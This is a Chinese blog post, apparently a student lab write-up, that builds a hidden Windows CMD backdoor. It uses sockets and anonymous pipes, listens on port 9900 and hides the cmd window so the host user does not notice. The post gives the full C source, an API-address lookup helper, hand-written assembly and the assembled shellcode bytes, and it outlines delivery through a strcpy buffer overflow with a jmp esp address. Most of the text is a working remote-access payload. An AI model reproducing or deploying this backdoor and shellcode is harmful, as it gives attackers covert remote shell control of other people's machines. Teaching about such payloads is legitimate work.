使用管道实现简单的CMD后门程序,并转化为Shellcode

目的

了解socket网络编程技术、进程间的管道通信技术,了解匿名管道与命名管道的作用于区别、父子程序间使用管道的相关知识、熟悉网络攻防中的后门技术,熟悉shellcode的源代码到汇编的转化以及机械码的转化、了解Telnet的功能。

简介

实现一个能实现远程控制功能的shellcode,控制被攻击的主机。

环境

PC机、VMware Workstation、VC++6.0、命令控制符、WindowsXP系统。


实现步骤

设计思路

1.网络之间的通信

使用socket编程技术实现在网络中主机之间的通信,一台作为服务器一台作为客户端,建立一个套接字Socket并对相应的端口进行绑定、监听,客户端也建立一个套接字,直接连接服务器监听的端口,双方建立连接后,服务器和客户端便可以开始数据的相互传输,此功能通过socket来完成。

2.进程之间的通信

要达到远程控制的效果,就必须打开服务器端的cmd命令提示符程序,并且把cmd的信息读取传给客户端、同时能够把客户端的指令发送给服务器上的cmd进程让其运行。要实现这个要求,就必须使用进程间的通信手段,即管道通信。服务器程序作为父进程产生一个打开cmd的子进程,并使用管道和子进程通信,实现进程之间的信息交流,同时把信息通过socket传给网络上的客户端主机。管道通信的示意图如下:



使用双管道通信技术,父进程与子进程之间产生两个匿名管道,分别用来读取数据与写入数据,父进程使用写句柄向子进程写入命令,同时检查子进程有没有可读出的命令,如果有便是用读取管道读取信息。在实现父子进程的信息交流后,便可以进一步实现网路间的信息交流。

3.程序的C语言代码

#include<winsock2.h>
#include<stdio.h>
#include<process.h>
#pragma comment(lib,"ws2_32")
int main(int argc,char **argv)
{
	WSAData wsa;
	WORD wVersion;
	int ret;
	wVersion = MAKEWORD(2,0);
	WSAStartup(wVersion,&wsa);
	SOCKET ss;
	ss=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	SOCKADDR_IN saddr;
	saddr.sin_family=AF_INET;
	saddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
	saddr.sin_port=htons(9900);
	bind(ss,(SOCKADDR*)&saddr,sizeof(saddr));
	listen(ss,2);
	SOCKET clientFD;
	int size;
	size=sizeof(saddr);
	clientFD=accept(ss,(struct sockaddr *)&saddr,&size);
	char buff[1024];
	SECURITY_ATTRIBUTES sa;
	HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
	sa.nLength=12;
	sa.lpSecurityDescriptor=0;
	sa.bInheritHandle=true;
	CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
	CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
	STARTUPINFO si;
	ZeroMemory(&si,sizeof(si));
	si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
	si.wShowWindow=SW_HIDE;
	si.hStdInput=hReadPipe2;
	si.hStdOutput=si.hStdError=hWritePipe1;
	char cmdLine[]="cmd.exe";
	PROCESS_INFORMATION ProcessInformation;
	CreateProcessA(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
	unsigned long lBytesRead;
	while(1)
	{
		PeekNamedPipe(hReadPipe1,buff,1024,&lBytesRead,0,0);
		if(lBytesRead)
		{
			ret=ReadFile(hReadPipe1,buff,lBytesRead,&lBytesRead,0);
			if(!ret) break;
			ret=send(clientFD,buff,lBytesRead,0);
			if(ret<=0) break;
		}
	    else
		{
			lBytesRead=recv(clientFD,buff,1024,0);
			if(lBytesRead<=0) break;
			ret=WriteFile(hWritePipe2,buff,lBytesRead,&lBytesRead,0);
			if(!ret) break;
		}
	}
	WSACleanup();
	return 0;
}

①为了代码的简洁性和方便转化成汇编语言和机械码,对socket中许多函数的差错处理条件部分进行了省略,以达到代码的简洁性。

②程序成功运行后,在本机另外开启一个cmd的telnet程序对其进行连接,程序不会显性地打开cmd窗口,因为在程序中把创建的cmd子进程的窗口属性设置为隐藏窗口,所以当在服务器上运行时不会被察觉。

③使用Telnet和服务器程序连接成功后,由于每次先要有数据发送过去服务器才会有相应,所以会出现输入第一个字符时会自动换行的现象,这不影响程序的实控制功能。

代码运行后,打开Telnet,输入主机ip地址和端口号(程序设置为9900),进行对服务器端的控制。

使用telnet命令连接实验主机ip地址192.168.5.129上的9900端口。



连接成功,输入dir指令查看主机上的文件目录

4.生成汇编代码

要转化成汇编代码,不能直接使用VC++6.0 的调试器生成,要对每一个函数的位置进行查看,然后自己分析每段代码在程序中运行的状态,写出相应的汇编代码。在本程序代码中,使用如下的代码查看程序函数在计算机中的内存地址。

函数地址代码:
#include<windows.h>
#include<stdio.h>
typedef void (*MYPROC)(LPSTR);
int main()
{
	HINSTANCE LibHandle;
	MYPROC ProcAdd;

	LibHandle=LoadLibrary("kernel32");
	printf("kernel32 LibHandle=//x%x\n",LibHandle);

	ProcAdd=(MYPROC)GetProcAddress(LibHandle,"CreatePipe");
	printf("Create Pipe=//x%x\n",ProcAdd);
	ProcAdd=(MYPROC)GetProcAddress(LibHandle,"CreateProcessA");
	printf("CreateProcessA =//x%x\n",ProcAdd);
	ProcAdd=(MYPROC)GetProcAddress(LibHandle,"PeekNamedPipe");
	printf("PeekNamedPipe=//x%x\n",ProcAdd);
	ProcAdd=(MYPROC)GetProcAddress(LibHandle,"WriteFile");
	printf("WriteFile=//x%x\n",ProcAdd);
	ProcAdd=(MYPROC)GetProcAddress(LibHandle,"ReadFile");
	printf("ReadFile=//x%x\n",ProcAdd);
	ProcAdd=(MYPROC)GetProcAddress(LibHandle,"ExitProcess");
	printf("ExitProcess=//x%x\n",ProcAdd);

	LibHandle=LoadLibrary("ws2_32");
	printf("ws2_32 LibHandle=//x%x\n",LibHandle);
	ProcAdd=(MYPROC)GetProcAddress(LibHandle,"WSAStartup");
	printf("WSAStartup=//x%x\n",ProcAdd);
	ProcAdd=(MYPROC)GetProcAddress(LibHandle,"socket");
	printf("socket=//x%x\n",ProcAdd);
	ProcAdd=(MYPROC)GetProcAddress(LibHandle,"bind");
	printf("bind=//x%x\n",ProcAdd);
	ProcAdd=(MYPROC)GetProcAddress(LibHandle,"listen");
	printf("listen=//x%x\n",ProcAdd);
	ProcAdd=(MYPROC)GetProcAddress(LibHandle,"accept");
	printf("accept=//x%x\n",ProcAdd);
	ProcAdd=(MYPROC)GetProcAddress(LibHandle,"send");
	printf("send=//x%x\n",ProcAdd);
	ProcAdd=(MYPROC)GetProcAddress(LibHandle,"recv");
	printf("receive=//x%x\n",ProcAdd);
	return 0;
}

函数在内存中地址如图:


不同的系统下函数的入口地址也会不同,根据函数入口和对应程序、函数参数的分析,参考使用VC中的调试器查看汇编代码,可以得到程序的汇编语言代码



生成的汇编代码如下:


push ebp;
sub esp,80;
mov ebp,esp;
//Function save
mov eax,0x7c81d827
mov [ebp+4],eax;//Create Pipe
mov eax,0x7c80236b
mov [ebp+8],eax;//CreateProcesA
mov eax,0x7c860817
mov [ebp+12],eax;//PeekNamedPipe
mov eax,0x7c810e17
mov [ebp+16],eax;//WriteFile
mov eax,0x7c801812
mov [ebp+20],eax;//ReadFile
mov eax,0x7c81cafa
mov [ebp+24],eax;//ExitProcess
mov eax,0x71a26a55
mov [ebp+28],eax;//WSAStartup
mov eax,0x71a24211;
mov [ebp+32],eax;//socket
mov eax,0x71a24480
mov [ebp+36],eax;//bind
mov eax,0x71a28cd3
mov [ebp+40],eax;//listen
mov eax,0x71a31040
mov [ebp+44],eax;//acept
mov eax,0x71a24c27
mov [ebp+48],eax;//send
mov eax,0x71a2676f
mov [ebp+52],eax;//recv

上方为各个函数入口地址,可以根据不同运行环境进行相应的更改。


mov eax,0x0
mov [ebp+56],0
mov [ebp+60],0
mov [ebp+64],0
mov [ebp+68],0
mov [ebp+72],0
LWSAStartup:
	sub esp,400
	push esp
	push 0x202
	call [ebp+28]
socket:
	push 6
	push 1
	push 2
	call [ebp+32]
	mov ebx,eax
LBind:
	xor edi,edi
	push edi
	push edi
	mov eax,0xAC260002
	push eax
	mov esi,esp
	push 0x10
	push esi
	push ebx
	call [ebp+36]
LListen:
	xor edi,edi
	inc edi
	inc edi
	push edi
	push ebx
	call [ebp+40]
LAccept:
	push 0x10
	lea edi,[esp]
	push edi
	push esi
	push ebx
	call [ebp+44]
	mov ebx,eax
CreatePipe1:
	xor edi,edi
	inc edi
	push edi
	xor edi,edi
	push edi
	push 0xc
	mov esi,esp
	push edi
	push esi
	lea eax,[ebp+60]
	push eax
	lea eax,[ebp+56]
	push eax
	call [ebp+4]
CreatePipe2:
	push edi
	push esi
	lea eax,[ebp+68]
	push eax
	lea eax,[ebp+64]
	push eax
	call [ebp+4]
CreateProcess:
	sub esp,0x80
	lea edi,[esp]
	xor eax,eax
	push 0x80
	pop ecx
	rep stosd
	lea edi,[esp]
	mov eax,0x0101
	mov [edi+2ch],eax
	mov eax,[ebp+64]
	mov [edi+38h],eax
	mov eax,[ebp+60]
	mov [edi+3ch],eax
	mov eax,[ebp+60]
	mov [edi+40h],eax
	mov eax,0x00646d63
	mov [edi+64h],eax
	lea eax,[esp+44h]
	push eax
	push edi
	push ecx
	push ecx
	push ecx
	inc ecx
	push ecx
	dec ecx
	push ecx
	push ecx
	lea eax,[edi+64h]
	push eax
	push ecx
	call [ebp+8]
Loop1:
	sub esp,400h
	mov esi,esp
	xor ecx,ecx
	push ecx
	push ecx
	lea edi,[ebp+72]
	push edi
	mov eax,400h
	push eax
	push esi
	mov eax,[ebp+56]
	push eax
	call [ebp+12]
	mov eax,[edi]
	test eax,eax
	jz recv_command
send_result:
	xor ecx,ecx
	push ecx
	push edi
	push [edi]
	push esi
	push [ebp+56]
	call [ebp+20]
	xor ecx,ecx
	push ecx
	push [edi]
	push esi
	push ebx
	call [ebp+48]
	jmp Loop1
recv_command:
	xor ecx,ecx
	push ecx
	mov eax,400h
	push eax
	push esi
	push ebx
	call [ebp+52]
	mov [edi],eax
	xor ecx,ecx
	push ecx
	push edi
	push [edi]
	push esi
	push [ebp+68]
	call [ebp+16]
	jmp Loop1
end:
	}
	return 0;
}

使用VC++6.0中的_asm{ }功能进行编译,无错误、并运行成功。接着使用编译器的调试功能,按F10开始编译,在“查看”—>“调试窗口”—>“Disassembly”点击把汇编语言进一步生成机械码。


整理得到机械码:

"\x55\x83\xEC\x50\x8B\xEC\xB8\x27\xD8\x81\x7C\x89\x45\x04\xB8\x6B"
"\x23\x80\x7C\x89\x45\x08\xB8\x17\x08\x86\x7C\x89\x45\x0C\xB8\x17"
"\x0E\x81\x7C\x89\x45\x10\xB8\x12\x18\x80\x7C\x89\x45\x14\xB8\xFA"
"\xCA\x81\x7C\x89\x45\x18\xB8\x55\x6A\xA2\x71\x89\x45\x1C\xB8\x11"
"\x42\xA2\x71\x89\x45\x20\xB8\x80\x44\xA2\x71\x89\x45\x24\xB8\xD3"
"\x8C\xA2\x71\x89\x45\x28\xB8\x40\x10\xA3\x71\x89\x45\x2C\xB8\x27"
"\x4C\xA2\x71\x89\x45\x30\xB8\x6F\x67\xA2\x71\x89\x45\x34\xB8\x00"
"\x00\x00\x00\xC6\x45\x38\x00\xC6\x45\x3C\x00\xC6\x45\x40\x00\xC6"
"\x45\x44\x00\xC6\x45\x48\x00\x81\xEC\x90\x01\x00\x00\x54\x68\x02"
"\x02\x00\x00\xFF\x55\x1C\x6A\x06\x6A\x01\x6A\x02\xFF\x55\x20\x8B"
"\xD8\x33\xFF\x57\x57\xB8\x02\x00\x26\xAC\x50\x8B\xF4\x6A\x10\x56"
"\x53\xFF\x55\x24\x33\xFF\x47\x47\x57\x53\xFF\x55\x28\x6A\x10\x8D"
"\x3C\x24\x57\x56\x53\xFF\x55\x2C\x8B\xD8\x33\xFF\x47\x57\x33\xFF"
"\x57\x6A\x0C\x8B\xF4\x57\x56\x8D\x45\x3C\x50\x8D\x45\x38\x50\xFF"
"\x55\x04\x57\x56\x8D\x45\x44\x50\x8D\x45\x40\x50\xFF\x55\x04\x81"
"\xEC\x80\x00\x00\x00\x8D\x3C\x24\x33\xC0\x68\x80\x00\x00\x00\x59"
"\xF3\xAB\x8D\x3C\x24\xB8\x01\x01\x00\x00\x89\x47\x2C\x8B\x45\x40"
"\x89\x47\x38\x8B\x45\x3C\x89\x47\x3C\x8B\x45\x3C\x89\x47\x40\xB8"
"\x63\x6D\x64\x00\x89\x47\x64\x8D\x44\x24\x44\x50\x57\x51\x51\x51"
"\x41\x51\x49\x51\x51\x8D\x47\x64\x50\x51\xFF\x55\x08\x81\xEC\x00"
"\x04\x00\x00\x8B\xF4\x33\xC9\x51\x51\x8D\x7D\x48\x57\xB8\x00\x04"
"\x00\x00\x50\x56\x8B\x45\x38\x50\xFF\x55\x0C\x8B\x07\x85\xC0\x74"
"\x19\x33\xC9\x51\x57\xFF\x37\x56\xFF\x75\x38\xFF\x55\x14\x33\xC9\x51"
"\xFF\x37\x56\x53\xFF\x55\x30\xEB\xC3\x33\xC9\x51\xB8\x00\x04\x00"
"\x00\x50\x56\x53\xFF\x55\x34\x89\x07\x33\xC9\x51\x57\xFF\x37\x56"
"\xFF\x75\x44\xFF\x55\x10\xEB\xA4";

使用vc编译可以正常运行。

5.利用缓冲区溢出漏洞运行程序

我们使用已经掌握的VC++6.0中的strcpy()函数的缓冲区溢出漏洞来安放我们的shellcode,设计好缓冲区断点,把对应的jmp esp地址和shellcode机械码写入数组,调试程序,实现缓冲区溢出,shellcode开始运行。




总结

        Shellcode的设计与编写涉及到十分广泛的知识,包括网络通信、网络协议、网络编程、进程间的通信、子进程、线程的知识等,还需要对底层语言如汇编语言、机械语言有十分熟练的掌握度,以及要懂得计算机函数以及数据的内存分布等知识,更加要熟悉缓冲区溢出等各种常见漏洞。总而言之shellcode的编写对各种计算机与网络有着十分高的要求,并且在调整汇编代码和生成机械码时需要十分耐心与细心,一点小的失误就会使shellcode运行失败。



  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值